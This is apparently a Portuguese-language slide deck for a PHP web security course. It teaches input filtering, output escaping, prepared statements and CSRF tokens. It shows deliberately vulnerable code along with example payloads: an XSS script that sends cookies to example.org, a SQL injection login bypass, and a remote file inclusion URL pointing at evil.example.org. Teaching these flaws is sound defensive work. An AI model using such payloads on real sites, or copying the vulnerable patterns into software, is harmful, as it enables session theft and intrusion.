ESCOLA DE FORMAÇÃO DE
TRABALHADORES EM INFORMÁTICA

Segurança

Profº Ricardo Aragão - raragao@raragao.eng.br
Zend Certified Engineer PHP 5

Conceitos

- Segurança não é provida apenas com ferramentas, mas com procedimentos pró-ativos e entendimento do valor do bem a ser protegido
- É uma briga de gato e rato

Toda entrada é maliciosa

ESCOLA DE FORMAÇÃO DE
TRABALHADORES EM INFORMÁTICA

- Um dos itens básicos que pode ajudar a se proteger de algum tipo de ataque é definir qual o grau de confiança que se tem nas entradas de dados.
- Se uma determinada entrada de dados é esperada de um modo, o que acontece se essa entrada for maliciosamente modificada, o seu sistema aceita ?

Filtrando Entradas

ESCOLA DE FORMAÇÃO DE TRABALHADORES EM INFORMÁTICA

```
<form method="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Favourite colour: <select name="colour">
    <option>Red</option>
    <option>Blue</option>
    <option>Yellow</option>
    <option>Green</option>
</select><br />
<input type="submit" /></form>
```

Filtrando entradas

```
$clean = array();
if (ctype_alpha($_POST['username'])){
    $clean['username'] = $_POST['username'];
}
if (ctype_alnum($_POST['password'])){
    $clean['password'] = $_POST['password'];
}
$colours = array('Red', 'Blue', 'Yellow', 'Green');
if (in_array($_POST['colour'], $colours)){
    $clean['colour'] = $_POST['colour'];
}
```

Escapando saídas

```
$html = array();
$html['message'] = htmlentities($user_message, ENT_QUOTES,
   'UTF-8');
echo $html['message'];
```

Escapando entradas

```
$clean = array();
if (ctype_alpha($_POST['username'])){
    $clean['username'] = $_POST['username'];
}
$sql = 'SELECT * FROM users WHERE username = :username';

$stmt = $dbh->prepare($sql);

$stmt->bindParam(':username', $clean['username']);

$stmt->execute();
$results = $stmt->fetchAll();
```

register_globals

```
if (checkLogin())
{
    $loggedin = TRUE;
}
if ($loggedin)
{
    // do stuff only for logged in users
}
```

Spoofed Forms

```
<form method="POST" action="process.php">

<p>Street: <input type="text" name="street" maxlength="100"
  /></p>

<p>City: <input type="text" name="city" maxlength="50" /></p>

<p>State: <select name="state">

    <option value="">Pick a state...</option>

    <option value="AL">Alabama</option>

    <option value="AK">Alaska</option>

    <option value="AR">Arizona</option>

    <!-- options continue for all 50 states -->

</select></p>

<p>Zip: <input type="text" name="zip" maxlength="5" /></p>

<p><input type="submit" /></p>

</form>
```

Spoofed Forms

```
<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p>
<p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p>
<p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>
```

Cross-Site Scripting

```
<form method="POST" action="process.php">

<p>Add a comment:</p>

<p><textarea name="comment"></textarea></p>

<p><input type="submit" /></p>

</form>
```

Imagine that a malicious user submits a comment on someone's profile

that contains the following content:

```
<script>

document.location = "http://example.org/getcookies.php?cookies="

+ document.cookie;

</script>
```

Cross-Site Request Forgeries

```
session_start();

$token = md5(uniqid(rand(), TRUE));

$_SESSION['token'] = $token;

<form action="checkout.php" method="POST"><input type="hidden"

name="token" value="<?php echo $token; ?>" /> <!-- Remainder of
  form -->

</form>


if (isset($_SESSION['token'])

   && isset($_POST['token'])

   && $_POST['token'] == $_SESSION['token']) {

  // Token is valid, continue processing form data

}
```

Segurança em banco de dados

ESCOLA DE FORMAÇÃO DE
TRABALHADORES EM INFORMÁTICA

```
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT *
   FROM users
   WHERE username = '{$username}' AND
   password = '{$password}'";
/* database connection and query code */

if (count($results) > 0)
{
   // Successful login attempt
}
```

Segurança em banco de dados

- Se a entrada do login for:
  - username' OR 1 = 1 --

```
SELECT *
FROM users
WHERE username = ’username’ OR 1 = 1 --’ AND
password = ’d41d8cd98f00b204e9800998ecf8427e’
.
```

Remote Code Injection

```
include "{$_GET['section']}/data.inc.php";
```

```
http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F
```

```
include "http://evil.example.org/attack.inc?/data.inc.php";
```

Remote Code Injection

```php
$clean = array();
$sections = array('home', 'news', 'photos', 'blog');
if (in_array($_GET['section'], $sections))
{
    $clean['section'] = $_GET['section'];
}
else
{
    $clean['section'] = 'home';
}
include "{clean['section']}/data.inc.php";
```